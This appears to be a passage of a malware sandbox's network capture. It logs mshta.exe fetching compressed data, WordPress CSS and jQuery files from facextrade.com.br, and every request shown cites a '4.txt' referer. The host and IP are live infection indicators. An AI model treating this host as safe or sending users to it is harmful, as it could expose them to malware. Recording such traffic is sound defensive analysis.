                                                              Data Raw: 31 37 34 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 5d fb 93 db 36 92 fe dd 7f 05 cf a9 9c 1d 97 29 0f 47 f3 de ca 5e 1c c7 d9 73 9d 73 76 ad 9d da bd ba 47 15 45 42 12 33 94 c8 f0 31 0f 5f e5 7f bf af 01 52 ea 16 d9 a0 72 1b d7 ae e3 21 1b 40 a3 f1 f5 03 8d 06 e7 d5 8b 7f 7a 12 bc 08 82 1f 8b 6d 13 bc be 37 75 b1 31 c1 7c 76 3a 8b ec e3 66 6d 82 2c 29 b6 59 12 2c 89 22 35 75 b6 da 9a 14 3f 55 c1 f7 45 d1 d4 4d 15 97 96 34 fc 43 ff d8 2e 3f 63 f4 65 9b e7 41 dd 66 8d 09 8a 65 50 66 49 53 ac 30 e4 1a 1c 11 63 f5 cb c0 3c c4 9b 32 37 f8 57 bc 4d 83 b4 48 da 8d d9 36 71 93 15 db 20 89 b7 c1 c2 d8 ce 96 45 8b d7 71 13 ac 9b a6 bc 79 f5 8a e6 13 bb 09 cf b2 62 16 04 9f 9a f8 31 68 cb a0 29 82 34 a6 e1 b6 c1 e7 fb ac 69 4c 85 56 b6 8b ae 65 e3 9e ce 92 62 23 7a 01 8d 25 7b 9f 25 66 5b bb 51 ff 50 a1 84 4e d0 56 2e 62 c1 ec da 64 75 90 bb 91 d3 00 53 05 db 9f de bd 0f 3e fc f8 3e 88 66 51 e0 da ee e6 50 27 55 56 36 f5 ac ce f2 59 51 ad 5e 81 ac eb 5c 74 fc e6 d3 a7 97 c1 fb b7 f4 37 09 f7 d3 eb 4f 9f 82 65 06 61 07 71 65 0e 87 fb e9 dd e7 7e ee 87 c3 15 25 24 52 b4 55 62 ec 68 1d 9f f5 ab 4d d6 84 dd 0f b3 75 b3 c9 c7 78 90 2b 7a 30 c5 37 6f 82 ef ff 03 80 3d 39 1c 31 a9 0c 20 70 67 b0 48 1b c0 44 0e bb 78 7c 85 26 af ba d1 5e 37 4d 95 2d 5a 0b 18 08 71 5b 04 79 b1 5d 41 7e 95 f9 b5 cd 2a a0 3d db 1e 2a c8 c9 cb 00 2d 82 4d 9b ac 83 b8 2c 2b 93 64 c0 4c 7a 63 bb 0c 82 a7 42 8a 8b c7 e0 87 f8 ce 04 7f 81 0c 1f 83 70 1c 81 4f 7b f8
                                                              Data Ascii: 1747]6)G^ssvGEB31_Rr!@zm7u1|v:fm,)Y,"5u?UEM4C.?ceAfePfIS0c<27WMH6q Eqyb1h)4iLVeb#z%{%f[QPNV.bduS>>fQP'UV6YQ^\t7Oeaqe~%$RUbhMux+z07o=91 pgHDx|&^7M-Zq[y]A~*=*-M,+dLzcBpO{
                                                              Aug 16, 2022 10:33:04.578077078 CEST16INData Raw: bc 6e 9b 35 b4 2b 64 6d 1c a3 7f 28 96 6c 97 6f 37 71 96 df 00 ee 77 e6 3b a9 0f f6 75 07 ff 9b 31 e0 2f 1e eb 04 5a 59 5b c2 bf 15 d5 ed 4d f0 de c4 69 f0 b1 2a d2 36 69 82 1f 9c a5 a8 82 ef 82 7f 7b ac da b6 de cf fb d6 fe 4c ea 83 c6 af 9e bc
                                                              Data Ascii: n5+dm(lo7qw;u1/ZY[Mi*6i{Lz?_WM&Q[>eV6Yx<#wFf3\_{g3S4r5z}2{]kyl&MM<4'rge=>}5oB}A26@edus
                                                              Aug 16, 2022 10:33:04.578093052 CEST17INData Raw: d9 8f c1 56 b8 eb 77 74 cc 81 dc 45 27 fb 6d e9 90 6e 9c 93 21 9d 33 6a 03 a6 18 e1 ef 5d cd 9d 9b 74 7d 9c 3e 60 82 e3 8b e6 a7 64 b3 db 3b f9 e3 fa b4 1e b5 27 e5 9e d5 1a ff 59 74 75 14 1a a5 b0 c6 a7 60 77 d9 84 2a bf c0 d8 80 24 8b b0 46 d6
                                                              Data Ascii: VwtE'mn!3j]t}>`d;'Ytu`w*$F% 4M8!!A80G(8n|{,w'?fcAlK[c@vP(KECVZvB#:xw,;j@%OFB}
                                                              Aug 16, 2022 10:33:04.578105927 CEST19INData Raw: ac 42 15 ab b4 73 6e 78 29 7b a4 53 72 18 2f 8a 5c 57 e0 39 87 70 86 f0 da 13 61 cc 85 3d a5 ca a5 2e 65 a6 4d 6e ce b1 6c b3 2a 2e e5 a6 d2 73 2c db dc aa 2d 76 d0 a7 c9 b1 ec e8 5d 11 95 de 82 83 d9 b5 e0 26 65 68 84 e6 1c ce ae c1 2f 6d dd 64
                                                              Data Ascii: Bsnx){Sr/\W9pa=.eMnl*.s,-v]&eh/mdK=JsTPdW&:grB2e;^@'X7%h6.C"Owa$xodH=&<"EDC7Y/8qgucJ$uM7VxjY[)6k#^I9Jk:U;D
                                                              Aug 16, 2022 10:33:04.578125954 CEST20INData Raw: 4e cd 21 dc 1d c3 33 81 f7 06 0d ca a8 6f 26 0d c7 75 6e 56 9e 82 0f c3 e1 9c a2 66 63 51 f8 22 3d 33 92 56 f1 ee 00 cc d8 86 d3 df 42 06 e5 9e 22 29 23 ed 70 63 36 b1 ee fa 0c c7 31 76 b2 f8 fe 44 ae 9f fd 1a 8e e2 12 47 19 ba d1 33 d2 06 e3 aa
                                                              Data Ascii: N!3o&unVfcQ"=3VB")#pc61vDG3U=7H0"d#Bqr"l]7oL^FwKgO Kh7Yh}'Pe<|p.3EZ[tsJK6S/H8r!Jtj^6cwcR|HZ$Oq0@f;
                                                              Aug 16, 2022 10:33:04.578159094 CEST20INData Raw: ea 6b 53 fc fe 93 85 e7 ac 3d 12 85 b5 f5 2d 7d a3 5d e5 81 83 18 bf 74 a7 aa 7f 6d 3d f7 b0 f0 15 16 16 41 37 74 a6 a6 ef ec 65 1d 2d 0e eb 3c 52 be e2 d1 8c 9f 52 c4 2e f8 8d 3f 7a 89 47 24 6a 67 eb 56 df 42 8a 32 59 fc 92 08 0f a5 48 8e e3 23
                                                              Data Ascii: kS=-}]tm=A7te-<RR.?zG$jgVB2YH#tEqU"Q{'lD%,~=#}J t>>_j
                                                              Aug 16, 2022 10:33:04.578171968 CEST20INData Raw: 30 0d 0a 0d 0a
                                                              Data Ascii: 0


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              20192.168.2.2249193187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:12.206338882 CEST789OUTGET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:12.444680929 CEST817INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:12 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:26:49 GMT
                                                              ETag: "a514fe-3b24-58592cb795840"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 15140
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Aug 16, 2022 10:33:12.444724083 CEST818INData Raw: 2e 6d 70 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 32 30 70 78 3b 2a 7a 6f 6f 6d 3a 31 7d 2e 6d 70 2d 72 6f 77 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65
                                                              Data Ascii: .mp-row{margin-left:-20px;*zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class*="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-s
                                                              Aug 16, 2022 10:33:12.444766998 CEST820INData Raw: 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 73 70 61 6e 31 32 7b 77 69 64 74 68 3a 31 30 30 25 3b 2a 77 69 64 74 68 3a 39 39 2e 39 34 36 38 30 38 35 31 30 36 33 38 32 39 25 7d 2e 6d 70 2d 72
                                                              Data Ascii: {margin-left:0}.mp-row-fluid .mp-span12{width:100%;*width:99.94680851063829%}.mp-row-fluid .mp-span11{width:91.48936170212765%;*width:91.43617021276594%}.mp-row-fluid .mp-span10{width:82.97872340425532%;*width:82.92553191489361%}.mp-row-fluid
                                                              Aug 16, 2022 10:33:12.444806099 CEST821INData Raw: 2e 32 33 34 30 34 32 35 35 33 31 39 31 34 39 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 37 2e 31 32 37 36 35 39 35 37 34 34 36 38 30 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 31 30 3a 66 69 72 73 74 2d
                                                              Data Ascii: .23404255319149%;*margin-left:87.12765957446807%}.mp-row-fluid .mp-offset10:first-child{margin-left:85.1063829787234%;*margin-left:84.99999999999999%}.mp-row-fluid .mp-offset9{margin-left:78.72340425531914%;*margin-left:78.61702127659572%}.mp-
                                                              Aug 16, 2022 10:33:12.444844961 CEST823INData Raw: 34 36 38 30 38 35 31 30 34 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 37 2e 35 35 33 31 39 31 34 38 39 33 36 31 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 33 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61
                                                              Data Ascii: 468085104%;*margin-left:27.5531914893617%}.mp-row-fluid .mp-offset3:first-child{margin-left:25.53191489361702%;*margin-left:25.425531914893618%}.mp-row-fluid .mp-offset2{margin-left:19.148936170212764%;*margin-left:19.04255319148936%}.mp-row-f
                                                              Aug 16, 2022 10:33:12.444888115 CEST824INData Raw: 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 6d 70 2d 73 70 61 6e 31 32 2c 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 73 70 61 6e 31 32 7b 77 69 64 74 68 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e
                                                              Data Ascii: sizing:border-box}.mp-span12,.mp-row-fluid .mp-span12{width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}}@media(min-width:768px) and (max-width:979px){.mp-row{margin-left:-20px;*zoom:1}.mp-row:before,.mp
                                                              Aug 16, 2022 10:33:12.444927931 CEST825INData Raw: 65 66 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 2e 37 36 32 34 33 30 39 33 39 32 32 36 35 31 39 34 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 2e 37 30 39 32 33 39 34 34 39 38 36 34 38 31 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20
                                                              Data Ascii: eft;margin-left:2.7624309392265194%;*margin-left:2.709239449864817%}.mp-row-fluid [class*="mp-span"]:first-child{margin-left:0}.mp-row-fluid .mp-span12{width:100%;*width:99.94680851063829%}.mp-row-fluid .mp-span11{width:91.43646408839778%;*wid
                                                              Aug 16, 2022 10:33:12.444969893 CEST827INData Raw: 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 34 2e 31 39 38 38 39 35 30 32 37 36 32 34 33 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 34 2e 30 39 32 35 31 32 30 34 38 39 30 30 38 39 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d
                                                              Data Ascii: d{margin-left:94.1988950276243%;*margin-left:94.09251204890089%}.mp-row-fluid .mp-offset10{margin-left:88.39779005524862%;*margin-left:88.2914070765252%}.mp-row-fluid .mp-offset10:first-child{margin-left:85.6353591160221%;*margin-left:85.52897
                                                              Aug 16, 2022 10:33:12.445010900 CEST828INData Raw: 2d 6c 65 66 74 3a 33 34 2e 32 35 34 31 34 33 36 34 36 34 30 38 38 34 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 34 2e 31 34 37 37 36 30 36 36 37 36 38 35 34 34 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 33
                                                              Data Ascii: -left:34.25414364640884%;*margin-left:34.14776066768544%}.mp-row-fluid .mp-offset3{margin-left:28.45303867403315%;*margin-left:28.346655695309746%}.mp-row-fluid .mp-offset3:first-child{margin-left:25.69060773480663%;*margin-left:25.58422475608
                                                              Aug 16, 2022 10:33:12.445050001 CEST830INData Raw: 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 33 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 33 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 33 30 70 78 7d 2e 6d 70 2d
                                                              Data Ascii: margin-left:630px}.mp-offset5{margin-left:530px}.mp-offset4{margin-left:430px}.mp-offset3{margin-left:330px}.mp-offset2{margin-left:230px}.mp-offset1{margin-left:130px}.mp-row-fluid{width:100%;*zoom:1}.mp-row-fluid:before,.mp-row-fluid:after{d
                                                              Aug 16, 2022 10:33:12.685189009 CEST832INData Raw: 33 37 35 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 73 70 61 6e 32 7b 77 69 64 74 68 3a 31 34 2e 35 32 39 39 31 34 35 32 39 39 31 34 35 33 25 3b 2a 77 69 64 74 68 3a 31 34 2e 34 37 36 37 32 33 30 34 30 35 35 32 38 32 38 25 7d 2e
                                                              Data Ascii: 375%}.mp-row-fluid .mp-span2{width:14.52991452991453%;*width:14.476723040552828%}.mp-row-fluid .mp-span1{width:5.982905982905983%;*width:5.929714493544281%}.mp-row-fluid .mp-offset12{margin-left:105.12820512820512%;*margin-left:105.02182214948


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              21192.168.2.2249195187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:12.595009089 CEST830OUTGET /wp-content/themes/CherryFramework/style.css HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:12.824954987 CEST835INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:43 GMT
                                                              Server: Apache
                                                              ETag: "a52f1b-20b-58592c21db700"
                                                              Last-Modified: Tue, 02 Apr 2019 21:24:12 GMT
                                                              Content-Length: 523
                                                              Content-Type: text/css
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 19207299 23495776
                                                              Age: 30
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 63 68 65 72 72 79 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 33 2e 38 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 2e 31 0a 09 54 61 67 73 3a 20 64 61 72 6b 2c 20 6c 69 67 68 74 2c 20 77 68 69 74 65 2c 20 62 6c 61 63 6b 2c 20 67 72 61 79 2c 20 6c 65 66 74 2d 73 69 64 65 62 61 72 2c 20 72 69 67 68 74 2d 73 69 64 65 62 61 72 2c 20 66 69 78 65 64 2d 77 69 64 74 68 2c 20 66 6c 65 78 69 62 6c 65 2d 77 69 64 74 68 2c 20 63 75 73 74 6f 6d 2d 6d 65 6e 75 2c 20 65 64 69 74 6f 72 2d 73 74 79 6c 65 2c 20 66 65 61 74 75 72 65 64 2d 69 6d 61 67 65 73 2c 20 66 75 6c 6c 2d 77 69 64 74 68 2d 74 65 6d 70 6c 61 74 65 2c 20 70 6f 73 74 2d 66 6f 72 6d 61 74 73 2c 20 72 74 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 75 70 70 6f 72 74 2c 20 73 74 69 63 6b 79 2d 70 6f 73 74 2c 20 74 68 65 6d 65 2d 6f 70 74 69 6f 6e 73 2c 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 61 64 79 0a 09 4c 69 63 65 6e 73 65 3a 0a 09 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 0a 09 54 65 78 74 20 44 6f 6d 61 69 6e 3a 20 63 68 65 72 72 79 0a 2a 2f 0a 40 69 6d 70 6f 72 74 20 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3b 0a
                                                              Data Ascii: /*Theme Name: cherryTheme URI: //info.template-help.com/help/Description: A theme for Wordpress 3.8.xAuthor: Template_Help.comAuthor URI: //info.template-help.com/help/Version: 3.1.5.1Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-readyLicense:License URI: http://Text Domain: cherry*/@import "css/style.css";
                                                              Aug 16, 2022 10:33:12.827116013 CEST836OUTGET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:13.057256937 CEST838INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:45 GMT
                                                              Server: Apache
                                                              ETag: "a4faba-ce4-58592ec326b80"
                                                              Last-Modified: Tue, 02 Apr 2019 21:35:58 GMT
                                                              Content-Length: 3300
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 19207300 23495783
                                                              Age: 27
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 6a 73 77 69 6e 67 3d 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 73 77 69 6e 67 3b 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2c 7b 64 65 66 3a 22 65 61 73 65 4f 75 74 51 75 61 64 22 2c 73 77 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 5b 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 64 65 66 5d 28 65 2c 61 2c 63 2c 62 2c 64 29 7d 2c 65 61 73 65 49 6e 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 61 2f 3d 64 29 2a 28 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 2d 2d 61 2a 28 61 2d 32 29 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2b 63 3a 0a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2a 61 2b 63 3a
                                                              Data Ascii: jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b*(a/=d)*a+c},easeOutQuad:function(e,a,c,b,d){return-b*(a/=d)*(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a+c:-b/2*(--a*(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b*(a/=d)*a*a+c},easeOutCubic:function(e,a,c,b,d){return b*((a=a/d-1)*a*a+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a+c:b/2*((a-=2)*a*a+2)+c},easeInQuart:function(e,a,c,b,d){return b*(a/=d)*a*a*a+c},easeOutQuart:function(e,a,c,b,d){return-b*((a=a/d-1)*a*a*a-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a*a+c:-b/2*((a-=2)*a*a*a-2)+c},easeInQuint:function(e,a,c,b,d){return b*(a/=d)*a*a*a*a+c},easeOutQuint:function(e,a,c,b,d){return b*((a=a/d-1)*a*a*a*a+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a*a*a+c:
                                                              Aug 16, 2022 10:33:13.057287931 CEST839INData Raw: 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 53 69 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 4d 61 74 68 2e 63 6f 73 28 61 2f 0a 64 2a 28 4d
                                                              Data Ascii: b/2*((a-=2)*a*a*a*a+2)+c},easeInSine:function(e,a,c,b,d){return-b*Math.cos(a/d*(Math.PI/2))+b+c},easeOutSine:function(e,a,c,b,d){return b*Math.sin(a/d*(Math.PI/2))+c},easeInOutSine:function(e,a,c,b,d){return-b/2*(Math.cos(Math.PI*a/d)-1)+c},e
                                                              Aug 16, 2022 10:33:13.057356119 CEST840INData Raw: 66 7c 7c 28 66 3d 64 2a 30 2e 33 2a 31 2e 35 29 3b 67 3c 4d 61 74 68 2e 61 62 73 28 62 29 3f 28 67 3d 62 2c 65 3d 66 2f 34 29 3a 65 3d 66 2f 28 32 2a 4d 61 74 68 2e 50 49 29 2a 4d 61 74 68 2e 61 73 69 6e 28 62 2f 67 29 3b 72 65 74 75 72 6e 20 31
                                                              Data Ascii: f||(f=d*0.3*1.5);g<Math.abs(b)?(g=b,e=f/4):e=f/(2*Math.PI)*Math.asin(b/g);return 1>a?-0.5*g*Math.pow(2,10*(a-=1))*Math.sin((a*d-e)*2*Math.PI/f)+c:0.5*g*Math.pow(2,-10*(a-=1))*Math.sin((a*d-e)*2*Math.PI/f)+b+c},easeInBack:function(e,a,c,b,d,f){
                                                              Aug 16, 2022 10:33:13.062602997 CEST841OUTGET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:13.289119959 CEST856INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:46 GMT
                                                              Server: Apache
                                                              ETag: "a4fad2-1860-58592f81e2d80"
                                                              Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT
                                                              Content-Length: 6240
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 19207301 23495785
                                                              Age: 27
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
